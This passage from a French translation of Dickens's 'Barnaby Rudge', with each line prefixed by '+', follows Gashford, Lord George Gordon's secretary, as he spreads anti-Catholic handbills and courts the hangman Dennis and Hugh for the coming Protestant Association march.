+la force serait contre nous. Vous vous sentez convaincu de cela
+comme moi, n'est-ce pas? Voyons! la main sur la conscience?»
+
+Le secrétaire commençait sa réponse par: «Vous ne doutez pas...»
+lorsque l'autre l'interrompit, et répliqua avec impatience:
+
+«Douter. Non. Qui dit que je doute? Si je doutais, re-nierais-je
+parents, amis, toute chose, en faveur de ce malheureux pays? ce
+malheureux pays, cria-t-il en se redressant dans son lit, après
+s'être répété à lui-même la phrase: «en faveur de ce malheureux
+pays» au moins une douzaine de fois, oublié de Dieu et des hommes,
+livré à une dangereuse confédération des puissances papales, en
+proie à la corruption, à l'idolâtrie, au despotisme! Qui peut dire
+après cela que je doute? ne suis-je pas appelé, élu et fidèle?
+Voyons! le suis-je ou ne le suis-je pas?
+
+-- Oui, fidèle à Dieu, au pays et à vous-même, cria Gashford.
+
+-- Je le suis, je le serai, je le dis derechef, je le serai
+jusqu'au billot. Qui est-ce qui en dit autant? est-ce vous? est-ce
+quelque autre? Qu'on m'en cite un au monde seulement.»
+
+Le secrétaire baissa la tête avec une expression de complet
+acquiescement à tout ce que son maître avait dit ou pourrait dire;
+et lord Georges, s'affaissant peu à peu sur son oreiller,
+s'endormit.
+
+Quoiqu'il y eût quelque chose de risible dans la véhémence de ses
+manières rapprochée de sa maigreur et de son aspect disgracieux,
+il n'y avait vraiment pas de quoi rire pour un homme doué de
+quelque sensibilité; ou bien, s'il eût cédé à ce premier
+mouvement, il en aurait été fâché, il se le serait reproché à lui-
+même le moment d'après. Lord Gordon était aussi sincère dans sa
+violence que dans son hésitation. Il était naturellement enclin au
+faux enthousiasme, il avait la vanité de vouloir être un chef de
+parti; c'étaient là les deux plus grands défauts de son caractère.
+Le reste n'était que faiblesse... pure faiblesse; et c'est le
+malheureux lot des hommes faibles, que même leurs sympathies,
+leurs affections, leur confiance... toutes les qualités qui, dans
+les esprits mieux constitués, sont des vertus, dégénèrent en
+défauts, s'ils ne deviennent pas des vices complets.
+
+Gashford, en dirigeant vers le lit plus d'un regard rusé, resta
+assis à ricaner de la folie de son maître, jusqu'à ce qu'une
+profonde et lourde respiration l'eût averti qu'il pouvait se
+retirer. Fermant son pupitre, et le replaçant dans la malle (mais
+non pas sans avoir pris d'un compartiment secret deux imprimés),
+il se retira avec précaution. Comme il s'en allait, il regarda en
+arrière pour considérer la figure de son maître endormi. Au-dessus
+de la tête de lord Georges, les panaches poudreux qui couronnaient
+la royale couche du Maypole s'agitaient d'un air triste et lugubre
+comme sur une bière.
+
+S'arrêtant sur l'escalier pour écouter si tout était tranquille,
+et pour retirer ses souliers de peur que ses pas n'alarmassent
+près de là quelque dormeur qui aurait le sommeil léger, il
+descendit au rez-de-chaussée, et jeta un de ses imprimés sous la
+grande porte de la maison; cela fait, il se coula doucement,
+revint à sa chambre, et de la fenêtre laissa tomber dans la cour
+l'autre imprimé, soigneusement roulé autour d'une pierre, pour que
+le vent ne l'emportât pas.
+
+Ces proclamations avaient au dos la suscription suivante: «À tout
+protestant aux mains duquel ceci tombera,» et à l'intérieur:
+
+«Hommes et frères, quiconque trouvera cette lettre doit la
+regarder comme un avertissement d'aller rejoindre sans délai les
+amis de lord Georges Gordon. De grands événements se préparent, et
+les temps sont pleins de péril et de trouble. Lisez cet avis avec
+soin, tenez-le propre, et faites-le circuler. Pour le roi et le
+pays, union.»
+
+«Semons encore, semons toujours, dit Gashford en fermant la
+fenêtre; quand viendra la moisson?»
+
+
+
+
+CHAPITRE XXXVII.
+
+
+Environner quelque chose de monstrueux ou de ridicule d'un air de
+mystère, c'est l'investir d'un charme secret, et d'un pouvoir
+d'attraction qui est irrésistible pour la foule. Faux prêtres,
+faux prophètes, faux docteurs, faux patriotes, faux prodiges de
+toute sorte, enveloppant leurs actes dans le mystère, se sont
+adressés avec un immense profit à la crédulité populaire, et ont
+été plus redevables peut-être à cette habile manoeuvre d'avoir
+gagné et gardé pour un temps l'avantage sur la vérité et le sens
+commun, qu'à n'importe quelle demi-douzaine d'articles les plus
+accrédités dans tout le catalogue de l'imposture.
+
+Si un homme s'était tenu sur le pont de Londres, à appeler les
+passants à gorge déployée, pour les inviter à se joindre à lord
+Georges Gordon, fût-ce même pour un objet incompris de tout le
+monde, ce qui lui aurait donné un charme particulier, il est
+probable qu'il aurait pu faire une vingtaine de prosélytes en un
+mois. Si tous les zélés protestants avaient été publiquement
+pressés de se joindre à une association ayant pour but avoué de
+chanter une hymne ou deux dans l'occasion, d'entendre quelques
+discours médiocres, et en dernier lieu de pétitionner au
+parlement, afin qu'il n'y passât pas d'acte pour l'abolition des
+lois pénales contre les prêtres catholiques romains, de la
+pénalité de l'emprisonnement perpétuel portée contre ceux qui
+élevaient les enfants dans la foi catholique, et de l'interdiction
+de tous les membres de l'Église romaine, désormais inhabiles à
+posséder des biens immeubles dans le Royaume-Uni par acquêt ou par
+héritage, toutes ces matières étrangères aux occupations et aux
+goûts des masses n'auraient peut-être pas ému une centaine de
+gens. Mais lorsque des bruits vagues coururent au dehors que dans
+cette association protestante un pouvoir occulte essayait ses
+forces contre le gouvernement pour de grands desseins
+indéterminés; lorsque l'air fut rempli de sourdes rumeurs au sujet
+d'une confédération des puissances papistes pour dégrader et
+asservir l'Angleterre, établir une inquisition à Londres, et
+convertir les barrières du marché de Smithfield en bûchers et en
+chaudières; lorsque des terreurs et des alarmes que personne ne
+comprenait furent répandues, à l'intérieur ainsi qu'à l'extérieur
+du parlement, par un enthousiaste qui ne les comprenait pas lui-
+même, lorsqu'enfin d'antiques fantômes, qui avaient été couchés
+tranquillement depuis des siècles dans leurs tombeaux, furent
+évoqués pour obséder les gens ignorants et crédules; lorsque tout
+cela se fut machiné, en quelque sorte, dans les ténèbres, que des
+invitations secrètes de se joindre à la grande Association
+protestante pour la défense de la religion, de la vie et de la
+liberté, furent semées sur la voie publique, jetées sous les
+portes des maisons, glissées à l'intérieur des appartements par
+les fenêtres, fourrées dans les mains des passants, la nuit;
+lorsqu'elles étincelèrent à chaque muraille, et brillèrent sur
+chaque poteau, sur chaque pilier, au point que le bois et les
+pierres paraissaient infectés de la fièvre commune, excitant tous
+les hommes à se réunir en aveugles pour résister sans savoir à
+quoi, sans savoir pourquoi: alors la folie se propagea sans
+obstacles, et bientôt, croissant de jour en jour, l'association
+présenta une force de quarante mille membres.
+
+Du moins c'est le chiffre déclaré au mois de mars 1780 par lord
+Georges Gordon, son président; qu'il fût exact ou non, peu de gens
+le surent ou se soucièrent de s'en assurer. Elle n'avait jamais
+fait de démonstration publique, on ne l'avait jamais vue, il y
+avait même encore des personnes qui ne voulaient y voir qu'une
+pure création de son cerveau détraqué. Il était habitué à parler
+longuement à des multitudes, stimulé, à ce qu'on pouvait croire,
+par certains troubles qui avaient réussi en Écosse l'année
+précédente sur le même sujet.
+
+Membre de la chambre des Communes, on le regardait comme un
+cerveau brûlé qui attaquait tous les partis, sans être d'aucun, et
+ne jouissait pas d'une grande considération. On savait qu'un
+certain mécontentement régnait au dehors; il y en a toujours. Lord
+Georges Gordon s'était fait une habitude de s'adresser au peuple
+par des placards, des discours, de pamphlets, sur d'autres
+questions déjà. Rien n'était venu en Angleterre de ses tentatives
+passées en Écosse, et on n'appréhendait rien de celle-là. Tel
+qu'il vient de se montrer au lecteur, tel il avait paru de temps
+en temps devant le public, qui l'avait oublié le lendemain,
+lorsque soudainement, comme on le voit dans ces pages, après une
+lacune de cinq longues années, sa personne et ses actes
+commencèrent à s'imposer, vers cette période, à la connaissance de
+milliers de gens, qui s'étaient mêlés à la vie active durant tout
+l'intervalle, et qui n'étaient pourtant ni sourds ni aveugles aux
+événements contemporains, mais qui n'avaient jamais pensé à lui
+auparavant.
+
+«Milord, dit Gashford à son oreille, en venant le lendemain tirer
+de bonne heure les rideaux de son lit; milord!
+
+-- Oui, qui est là? Qu'est-ce que c'est?
+
+-- L'horloge a sonné neuf heures, répondit le secrétaire, les
+mains croisées avec humilité. Vous avez bien dormi? J'espère que
+vous avez bien dormi. Si mes prières ont été exaucées, vos forces
+doivent être réparées par le repos.
+
+-- À dire vrai, j'ai dormi d'un si profond sommeil, dit lord
+Georges en se frottant les yeux et regardant autour de la chambre,
+que je ne me rappelle pas bien où nous sommes.
+
+-- Milord! dit Gashford avec un sourire.
+
+-- Oh! répliqua son supérieur. Oui, vous n'êtes donc pas un juif?
+
+-- Un juif! s'écria le pieux secrétaire en reculant d'horreur.
+
+-- Je rêvais que nous étions des juifs, Gashford. Vous et moi...
+tous les deux des juifs avec de longues barbes.
+
+-- Le ciel nous en préserve, milord! Autant vaudrait que nous
+fussions papistes.
+
+-- Je suppose que cela vaudrait autant, répliqua l'autre avec
+beaucoup de vivacité. N'est-ce pas? c'est bien votre avis,
+Gashford?
+
+-- N'en doutez pas! cria le secrétaire d'un air de grande
+surprise.
+
+-- Hum! marmotta son maître. Oui, cela me semble assez
+raisonnable.
+
+-- J'espère, milord... commença le secrétaire.
+
+-- Vous espérez! répéta lord Georges en l'interrompant. Pourquoi
+dites-vous que vous espérez? Il n'y a pas de mal à avoir de ces
+idées-là.
+
+-- En rêve, répondit le secrétaire.
+
+-- En rêve! non, et pendant la veille non plus.
+
+-- Appelé, élu, fidèle,» dit Gashford, prenant la montre de lord
+Georges qui était sur une chaise, et paraissant lire d'une manière
+distraite la devise inscrite sur le cachet.
+
+Dans cet incident indifférent en lui-même, il n'y avait rien, ce
+semble, qui dût attirer l'attention du maître; ce n'était qu'une
+distraction sans but, qui ne valait pas la peine d'être remarquée:
+mais, lorsque les mots furent proférés, lord Georges, qui avait
+pris un ton impétueux, s'arrêta court, rougit et garda le silence.
+Feignant de ne s'être pas du tout aperçu de ce changement dans la
+conduite de son maître, l'astucieux secrétaire fit quelques pas à
+l'écart, sous prétexte de relever la jalousie, et revenant
+bientôt, lorsque l'autre eut eu le temps de se remettre:
+
+«La cause sainte, dit-il, marche bravement, milord. Je n'ai pas
+été oisif, même cette nuit. J'ai jeté deux affiches avant d'aller
+me coucher, et toutes les deux ont disparu ce matin. Personne dans
+la maison n'en a soufflé mot, quoique j'aie été en bas une grande
+demi-heure. Elles nous vaudront une ou deux recrues, je gage et,
+qui sait s'il n'y en aura pas beaucoup plus, grâce à la
+bénédiction que le ciel peut répandre sur vos efforts inspirés?
+
+-- C'est une fameuse idée que nous avons eue là dans le principe,
+répliqua lord Georges; une fameuse idée, et qui a rendu
+d'excellents services en Écosse. Elle était bien digne de vous.
+Vous me rappelez, Gashford, que je ne dois pas lambiner, quand la
+vigne du Seigneur est menacée de destruction, et qu'elle se voit
+en danger d'être foulée aux pieds des papistes. Faites seller les
+chevaux dans une demi-heure. Debout et à l'oeuvre!»
+
+Il avait, en parlant ainsi, la figure très colorée, et un tel
+accent d'enthousiasme que le secrétaire crut inutile de rien
+ajouter, et se retira.
+
+«Il a rêvé qu'il était juif, dit-il d'un air pensif, lorsqu'il
+ferma la porte de la chambre à coucher. Il pourrait bien en venir
+là avant de mourir. C'est assez vraisemblable. Ma foi! on verra
+plus tard, et, pourvu que je n'y perde rien, je ne dis pas que
+cette religion ne me conviendrait point autant qu'une autre. Il y
+a des gens riches parmi les juifs; et puis c'est si ennuyeux de se
+faire la barbe. Oui! ça me convient assez. Quant à présent,
+toutefois, nous devons être chrétiens dans l'âme. Notre devise
+prophétique s'accommodera à toutes les croyances tour à tour;
+c'est ce qui me console.»
+
+En réfléchissant sur cette source de consolation, il se rendit au
+salon, et sonna pour le déjeuner.
+
+Lord Georges fut promptement habillé (sa toilette était assez
+simple pour n'être pas longue à faire), et, comme il n'était pas
+moins sobre dans ses repas que dans son costume puritain, il eut
+bientôt expédié sa part. Mais le secrétaire, moins négligent des
+bonnes choses de ce monde, ou plus attentif à soutenir sa force et
+son entrain en faveur de la cause protestante, ne cessa pas de
+manger, de boire en conscience jusqu'à la dernière minute; il lui
+fallut trois ou quatre avertissements de John Grueby avant qu'il
+pût se résoudre à s'arracher aux abondantes tentations de la table
+de M. Willet.
+
+Enfin, il descendit l'escalier en essuyant sa bouche graisseuse,
+et, après avoir payé la note de John Willet, il grimpa sur sa
+selle. Lord Georges, qui s'était promené de long en large devant
+la maison en se parlant à lui-même avec des gestes animés, monta à
+cheval; et, répondant à la révérence cérémonieuse du vieux John
+Willet, aussi bien qu'aux salutations d'adieu d'une douzaine de
+flâneurs que la nouvelle d'un vrai lord en chair et en os, prêt à
+quitter le Maypole, avait rassemblés autour du porche, il
+s'éloigna avec son monde, le robuste John Grueby formant
+l'arrière-garde.
+
+Si John Willet avait trouvé, la veille au soir, que lord Georges
+Gordon avait l'air d'un grand seigneur assez fantasque, ce fut
+bien autre chose ce matin-là. Perché tout droit comme une pique
+sur une rossinante, avec ses longs cheveux plats pendillant autour
+de sa figure et voltigeant au vent; tous ses membres roides et
+pointus, ses coudes collés de chaque côté d'une façon
+disgracieuse, et, tout son corps cahoté et secoué à chaque
+mouvement des pieds de son cheval, c'était bien le personnage le
+plus gauche et le plus grotesque qu'on pût voir. Au lieu de
+cravache, il avait à la main une grande canne à pomme d'or, aussi
+haute que celles que portent aujourd'hui les laquais; et ses
+diverses évolutions dans le maniement de cette arme pesante,
+tantôt droite devant sa figure comme un sabre de cavalerie, tantôt
+sur son épaule comme un mousquet, tantôt entre son doigt et le
+pouce, et toujours de l'air le plus maladroit du monde, ne
+contribuaient pas peu à lui donner un extérieur ridicule. Empesé,
+maigre, solennel, habillé en dépit de la mode, et déployant avec
+ostentation, soit à dessein, soit par pur hasard, toutes les
+singularités de son port, de ses gestes et de sa tenue, toutes les
+qualités, naturelles et artificielles, qui le distinguaient des
+autres hommes, il aurait excité le rire de l'observateur le plus
+grave; jugez s'il excita les sourires et les chuchotements
+railleurs qui saluèrent son départ de l'auberge du Maypole. Pour
+lui, sans se douter le moins du monde de l'effet qu'il avait
+produit, il trotta à côté de son secrétaire, se parlant à lui-même
+presque tout le long de la route, jusqu'à ce qu'ils arrivèrent à
+un ou deux milles de Londres. Là, de temps en temps, ils
+rencontrèrent quelque passant qui le connaissait de vue, et qui le
+montra à quelque autre, s'arrêtant peut-être pour le considérer,
+ou pour crier par plaisanterie ou autrement: «Hourra, Geordie![27]
+Pas de papisme!» Il ôtait alors gravement son chapeau et saluait.
+Quand on eut atteint la ville et qu'on chevaucha par les rues, ces
+reconnaissances devinrent plus fréquentes; quelques-uns riaient,
+quelques-uns sifflaient, quelques-uns tournaient la tête et
+souriaient, quelques-uns demandaient avec étonnement qui c'était,
+quelques-uns couraient le long du trottoir auprès de lui et
+l'applaudissaient. Lorsque cela arrivait au milieu d'un embarras
+de chariots, de chaises et de voitures, il s'arrêtait tout d'un
+coup, et ôtant son chapeau, il criait: «Gentlemen, pas de
+papisme!» Les gentlemen répondaient à ce cri par trois salves de
+hourras bien nourries, et puis il continuait d'avancer avec une
+vingtaine des plus déguenillés, qui suivaient à la queue de son
+cheval et poussaient des cris sauvages à plein gosier.
+
+Et les vieilles dames, donc! car il y avait un grand nombre de
+vieilles dames dans les rues, et elles le connaissaient toutes.
+Quelques-unes d'entre elles, non pas celles du plus haut rang,
+mais celles qui vendaient du fruit dans des éventaires ou qui
+portaient des fardeaux, faisaient claquer leurs mains ridées, et
+poussaient un cri aigu, perçant, essoufflé: «Hourra, milord!»
+D'autres agitaient leurs mains ou leurs mouchoirs, ou bien elles
+secouaient leurs éventails et leurs parasols, ou bien elles
+ouvraient leurs fenêtres et criaient précipitamment à ceux de
+l'intérieur de venir voir. Toutes ces marques d'estime populaire,
+il les recevait avec une profonde gravité et un respect profond,
+saluant très bas et si souvent, que son chapeau n'était presque
+jamais sur sa tête, et regardant les maisons devant lesquelles il
+passait de l'air d'un homme qui faisait une entrée triomphale,
+mais qui n'en était pas plus fier pour cela.
+
+Ils chevauchèrent de la sorte (John Grueby en ressentait un dégoût
+extrême, inexprimable) tout le long de Whitechapel, de Leadenhall-
+Street, de Cheapside et de Saint-Paul. En arrivant près de la
+cathédrale, il fit halte, parla à Gashford, et regardant en haut
+le dôme superbe, il secoua la tête, comme s'il disait: «L'Église
+est en danger! «C'est pour le coup que les spectateurs
+s'éraillèrent le gosier; puis il continua de nouveau sa route, au
+milieu des acclamations furibondes de la populace, qu'il saluait
+plus bas que jamais.
+
+Il s'avança ainsi par le Strand, Swallow-Street, Oxford-Road, et
+de là jusqu'à sa maison dans Welbeck-Street, près Cavendish-
+Square, où il fut accompagné par une douzaine de traînards dont il
+prit congé sur les marches avec ce bref adieu: «Gentlemen, pas de
+papisme! Bonjour, Dieu vous bénisse!» Comme on s'était attendu à
+une allocution plus substantielle, on l'accueillit avec quelque
+déplaisir, en criant: «Un speech! un speech!» et il allait faire
+droit à leur demande, si John Grueby, en faisant sur eux une
+furieuse charge avec les chevaux qu'il menait à l'écurie, n'eût
+déterminé ces braillards à se disperser dans les champs voisins,
+où ils se mirent tout de suite à jouer à pile ou face, à la
+fossette, à pair ou non, à des combats de chiens et autres
+récréations protestantes.
+
+Dans l'après-midi, lord Georges sortit de nouveau, vêtu d'un habit
+de velours noir, pantalon large et gilet écossais du clan de
+Gordon, le tout de la même coupe quakeresse, et sous ce costume,
+qui lui donnait un air vingt fois plus étrange et plus singulier
+qu'auparavant, il alla à pied à Westminster. Gashford, pendant son
+absence, resta à la maison, et il y travaillait encore lorsque,
+peu de temps après la brune, John Grueby vint lui annoncer un
+visiteur.
+
+«Faites-le entrer, dit Gashford.
+
+-- Ici! entrez! dit John en grognant à quelqu'un qui était dehors.
+Vous êtes protestant, n'est-ce pas?
+
+-- Je vous en réponds, répliqua une voix forte et bourrue.
+
+-- Ça se voit bien, dit John Grueby. Je vous aurais reconnu pour
+un protestant, n'importe où.» Cette remarque faite, il introduisit
+le visiteur, se retira et ferma la porte.
+
+L'homme qui se trouvait maintenant en face de Gashford était un
+personnage trapu, ramassé, avec un front bas et fuyant, une
+tignasse semblable au poil d'un caniche, et des yeux si petits et
+si proches l'un de l'autre, que son nez brisé paraissait seul
+empêcher leur rencontre et leur fusion en un oeil de grandeur
+ordinaire. Une cravate de couleur sombre, tortillée autour de son
+cou comme une corde, laissait voir ses grosses veines, gonflées et
+saillantes, comme si elles regorgeaient de malice et de
+méchanceté. Son habillement de velours râpé, terni, était couleur
+de rouille, d'un noir blanchâtre, semblable aux cendres d'une pipe
+ou d'un feu de charbon éteint depuis vingt-quatre heures, souillé
+d'ailleurs de marques nombreuses d'anciennes débauches, et
+exhalait encore une forte odeur de cabaret. Au lieu de boucles à
+ses genoux, il portait des brides inégales de ficelle d'emballage;
+et dans ses mains sales il tenait un bâton noueux, dont le gros
+bout sculpté offrait une grossière image de son ignoble figure.
+Tel était le visiteur qui ôta son chapeau à trois cornes en
+présence de Gashford, et attendit, en jetant des regards de côté,
+qu'on fît attention à lui.
+
+«Ah! c'est vous, Dennis? cria le secrétaire. Asseyez-vous.
+
+-- Je viens de voir milord là-bas, cria l'homme en lançant son
+pouce dans la direction du quartier dont il parlait, et il m'a
+dit, qu'il dit: «Si vous n'avez rien à faire, Dennis, allez chez
+moi, vous causerez avec maître Gashford.» Naturellement je n'avais
+rien à faire, vous savez. Ce n'est pas l'heure où je travaille. Ha
+ha! je prenais l'air quand j'ai vu milord: voilà tout ce que je
+faisais. Je prends l'air le soir, comme les hiboux, maître
+Gashford.
+
+-- Et quelquefois aussi pendant le jour, n'est-ce pas? dit le
+secrétaire; quand vous sortez en grande compagnie, vous savez.
+
+-- Ha ha! rugit le gaillard en frappant sa jambe. Parlez-moi de
+maître Gashford pour savoir manier la plaisanterie; il n'a pas son
+pareil à Londres ni à Westminster! Ce n'est pas pour mépriser
+milord, mais ce n'est qu'un imbécile auprès de vous. Ah! vous avez
+raison... quand je sors en grande cérémonie.
+
+-- Avez-vous votre carrosse? dit le secrétaire, et votre
+chapelain, et le reste?
+
+-- Vous me faites mourir, cria Dennis avec un autre éclat de rire.
+Mais qu'est-ce qu'il y a de nouveau aujourd'hui, maître Gashford?
+demanda-t-il d'une voix un peu rauque. Hein! sommes-nous sur le
+point de recevoir l'ordre de démolir une de leurs chapelles
+papistes, ou bien quoi?
+
+-- Chut! dit le secrétaire en laissant errer sur sa figure un
+faible sourire. Chut! comme vous y allez, Dennis! Notre
+association, vous savez, ne veut que la paix et le respect de la
+loi.
+
+-- Connu! connu! Dieu vous bénisse! répliqua l'homme en soulevant
+sa joue avec sa langue. Je n'y suis entré que pour ça, n'est-ce
+pas?
+
+-- Sans doute,» dit Gashford, souriant comme avant.
+
+Dennis à ces mots fit un nouvel éclat de rire et se frappa la
+jambe encore plus fort; il riait aux larmes et s'essuya les yeux
+avec le coin de sa cravate en criant: «Maître Gashford n'a pas son
+pareil dans toute l'Angleterre... Ho la la!»
+
+«Lord Georges et moi nous parlions de vous la nuit dernière, dit
+Gashford après une pause. Il dit que vous êtes un garçon très
+zélé.
+
+-- Oui, je le suis, répondit le bourreau.
+
+-- Et que vous haïssez les papistes de tout coeur.
+
+-- Si je les hais!» Et il confirma son dire par un bon gros juron,
+«Regardez ici, maître Gashford, dit le sacripant en plaçant son
+chapeau et son bâton sur le parquet, et frappant lentement la
+paume d'une de ses mains avec les doigts de l'autre. Remarquez! je
+suis un officier constitutionnel qui travaille pour vivre et qui
+fait sa besogne honorablement. Est-ce vrai? est-ce faux?
+
+-- C'est incontestable.
+
+-- Très bien. Attendez une minute. Ma besogne est solide,
+protestante, constitutionnelle, une besogne anglaise. Est-ce vrai?
+est-ce faux?
+
+-- Il n'y a pas l'ombre d'un doute à cela.
+
+-- Voici ce que dit le parlement, qu'il dit: «Si un homme, une
+femme ou un enfant, fait quelque chose de contraire à un certain
+nombre de nos lois...» Combien pouvons-nous avoir actuellement,
+maître Gashford, de lois qui condamnent à être pendu? cinquante?
+
+-- Je ne sais pas exactement combien, répliqua Gashford en se
+penchant en arrière sur sa chaise et en bâillant; je sais
+seulement que le nombre en est considérable.
+
+-- Bien. Mettons cinquante. Le parlement dit, qu'il dit: «Si un
+homme, une femme ou un enfant, fait quelque chose contre l'un de
+ces cinquante actes, l'homme, la femme ou l'enfant sera exécuté
+par Dennis!» Georges III intervint lorsque cela monta à un chiffre
+trop élevé à la fin de la session, et dit: «Il y en a trop pour
+Dennis, je vais en garder la moitié pour moi, et Dennis en aura la
+moitié pour sa part;» et quelquefois il m'en jette un de plus par-
+dessus le marché, comme il y a trois ans, quand j'eus Marie Jones,
+une jeune femme de dix-neuf ans, que je menai à Tyburn avec son
+enfant au sein. Elle fut exécutée pour avoir pris une pièce
+d'étoffe au comptoir d'une boutique de Ludgate-Hill. Elle était en
+train de la remettre quand le marchand l'aperçut. Elle n'avait
+jamais fait de mal auparavant, et n'avait essayé cette fois que
+parce que son mari, enlevé par la presse[28] depuis trois semaines,
+l'avait laissée réduite à mendier avec deux jeunes enfants, comme
+depuis ça fut prouvé dans le procès. Ha ha! qu'est-ce que ça fait?
+Avant tout, les lois et coutumes de l'Angleterre, c'est la gloire
+de notre pays. N'est-ce pas, maître Gashford?
+
+-- Certainement, dit le secrétaire.
+
+-- Et dans l'avenir, poursuivit le bourreau, si nos petits-fils
+pensent à l'époque de leurs grands-pères et trouvent tout ça
+changé, ils diront: «C'était ça, un temps! et nous n'avons fait
+que dégringoler depuis.» N'est-ce pas qu'ils diront ça, maître
+Gashford?
+
+-- Je n'en doute pas, répliqua le secrétaire.
+
+-- Eh bien donc, voyez un peu, dit le bourreau, si ces papistes
+s'emparent du pouvoir et qu'ils se mettent à bouillir et rôtir les
+gens au lieu de les pendre, que devient ma besogne? S'ils touchent
+à ma besogne, qui fait partie de tant de lois, que deviennent les
+lois en général, que devient la religion, que devient le pays?
+Êtes-vous allé parfois à l'église, maître Gashford?
+
+-- Parfois? répéta le secrétaire avec quelque indignation; sans
+doute.
+
+-- Bien, dit le sacripant, c'est comme moi: j'y suis allé aussi
+une ou deux fois, en comptant celle où j'ai été baptisé... Si bien
+donc que, lorsqu'on vint me dire qu'on allait supplier le
+parlement, et que je pensai au grand nombre des nouvelles lois de
+pendaison qu'il faisait à chaque session, je me suis considéré
+moi-même comme supplié par la même occasion; parce que vous
+comprenez, maître Gashford, continua-t-il en reprenant son bâton
+et l'agitant d'un air de menace, je n'ai pas envie qu'on vienne
+toucher à ma besogne protestante, ni rien changer à cet état de
+choses protestant, et je ferai tout ce que je pourrai pour
+l'empêcher. Je n'ai pas envie que les papistes viennent se mêler
+de mes affaires, à moins qu'ils n'aient recours à moi pour se
+faire exécuter d'après la loi. Je n'ai pas envie qu'on fasse ni
+bouillir, ni rôtir, ni frire; je veux qu'on se borne à pendre.
+Milord peut bien dire que je suis un garçon zélé. Pour soutenir le
+grand principe protestant d'avoir des pendaisons à gogo, à la
+bonne heure; je saurai (et il frappa de son bâton le parquet)
+brûler, combattre, tuer, faire tout je que vous me commanderez, si
+hardi et si diabolique que ce soit, quand je devrais, en fin de
+compte, devenir de pendeur pendu. Voilà! maître Gashford.»
+
+Il avait accompagné, comme de raison, cette fréquente prostitution
+du noble mot de protestant aux plus vils desseins, en vomissant,
+dans une sorte de frénésie, une vingtaine au moins des plus
+terribles jurons; après quoi il essuya sa figure échauffée sur sa
+cravate, et se mit à crier: «Pas de papisme! je suis un homme
+religieux, nom de Dieu!
+
+Gashford s'était penché en arrière sur sa chaise, le regardant
+avec des yeux si creux et si ombragés par ses épais sourcils, que
+pour ce qu'en voyait le bourreau, l'autre eût aussi bien pu être
+complètement aveugle. Il resta encore un peu de temps à sourire en
+silence, puis il dit d'une manière lente et distincte:
+
+«Je vois décidément que vous êtes un garçon zélé, Dennis, un
+précieux sujet, l'homme le plus solide que je connaisse dans nos
+rangs; mais il faut vous calmer, il faut être pacifique, légal,
+doux comme un mouton: n'oubliez pas cela.
+
+-- C'est bon, c'est bon, nous verrons, maître Gashford, nous
+verrons; vous n'aurez pas à vous plaindre de moi, répliqua l'autre
+en hochant la tête.
+
+-- J'y compte bien, dit le secrétaire du même ton plein de douceur
+et avec le même accent oratoire. Nous aurons, à ce que nous
+pensons, vers le mois prochain ou dans le mois de mai, quand ce
+bill en faveur des papistes viendra devant la Chambre, à
+rassembler notre corps tout entier pour la première fois. Milord a
+l'idée de nous faire faire une procession dans les rues,
+simplement pour nous montrer en force et pour accompagner notre
+pétition jusqu'à la porte de la chambre des Communes.
+
+-- Plus tôt ça se fera, mieux ça vaudra, dit Dennis avec un autre
+juron.
+
+-- Il nous faudra marcher par divisions; notre nombre, sans cela,
+serait trop considérable; et je crois pouvoir me hasarder à dire,
+reprit Gashford en affectant de ne pas avoir entendu
+l'interruption, quoique je n'aie pas d'instructions directes à ce
+sujet, que lord Georges a l'idée que vous feriez un excellent chef
+pour l'une de ces bandes; et je n'en doute pas pour ma part.
+
+-- Vous n'avez qu'à essayer, dit le coquin en clignant de l'oeil
+d'une manière atroce.
+
+-- Vous auriez du sang froid, je le sais, poursuivit le secrétaire
+toujours souriant et toujours faisant manoeuvrer ses yeux de telle
+sorte, qu'il pouvait l'observer de près sans se laisser voir lui-
+même; vous garderiez bien votre consigne et vous seriez d'une
+modération parfaite. Vous ne mèneriez pas votre colonne au danger,
+j'en suis certain.
+
+-- Je la mènerai, maître Gashford...» Le bourreau allait gâter
+tout, quand Gashford se releva en sursaut, mit son doigt sur ses
+lèvres et feignit d'écrire, juste au moment où John Grueby ouvrait
+la porte.
+
+«Oh! dit John en passant la tête; voilà encore un protestant.
+
+-- Faites-le attendre ailleurs, John, cria Gashford de sa voix la
+plus aimable; je suis occupé, quant à présent.»
+
+Mais John avait amené à la porte le nouveau visiteur, qui entra
+sans façon, en même temps que Gashford donnait cet ordre. Ce
+n'était ni plus ni moins que le corps, les traits, le grossier
+costume et l'air tapageur de Hugh.
+
+
+
+
+CHAPITRE XXXVIII.
+
+
+Le secrétaire mit la main devant ses yeux pour les garantir de la
+clarté de la lampe, et pendant quelques moments il regarda Hugh en
+fronçant le sourcil, comme s'il se souvenait de l'avoir vu
+naguère, mais sans pouvoir se rappeler en quel lieu ni en quelle
+occasion. Son incertitude dura peu: car avant que Hugh eût
+prononcé un mot, il dit, en même temps que sa figure
+s'éclaircissait:
+
+«Oui, oui, je me rappelle. C'est très bien, John, vous n'avez pas
+besoin de rester... Ne vous dérangez pas, Dennis.
+
+-- Votre serviteur, maître, dit Hugh quand Grueby eut disparu.
+
+-- Eh bien, mon ami, répliqua le secrétaire de son ton le plus
+doux, qu'est-ce qui vous amène ici? Nous n'aurions pas par hasard
+oublié de payer notre écot?»
+
+Hugh fit entendre un rire bref à cette plaisanterie, et mettant la
+main dans les poches de son gilet, il exhiba une des affiches,
+toute sale et toute crottée d'avoir passé la nuit dehors, la posa
+sur le pupitre du secrétaire, après avoir commencé par la lisser
+et par effacer les rides qui s'y voyaient encore, avec la lourde
+paume de sa main.
+
+«Vous n'avez oublié que ça, maître; et c'est tombé en bonnes
+mains, comme vous voyez.
+
+-- Qu'est-ce que c'est que cela? dit Gashford en retournant
+l'affiche d'un air de surprise innocente. Où vous êtes-vous
+procuré cela, mon bon garçon? qu'est-ce que cela signifie? Je n'y
+comprends rien du tout.»
+
+Un peu déconcerté de cet accueil, Hugh portait ses regards du
+secrétaire sur Dennis, qui s'était levé et se tenait debout aussi
+près de la table, en observant l'étranger à la dérobée, il
+paraissait éprouver la plus grande sympathie pour ses manières et
+son extérieur. Se croyant suffisamment autorisé par cet appel
+muet, M. Dennis hocha trois fois la tête à son intention comme
+confirmant le dire de Gashford «Non, il ne comprend rien du tout à
+ça; je sais qu'il n'y comprend rien, je jurerais qu'il n'y
+comprend rien,» et cachant son profil à Hugh avec l'un des coins
+de sa cravate malpropre, il faisait des signes de tête et ricanait
+derrière cet écran, comme s'il trouvait admirable la conduite
+discrète du secrétaire.
+
+«Ça dit toujours bien à celui qui le trouvera de venir ici, n'est-
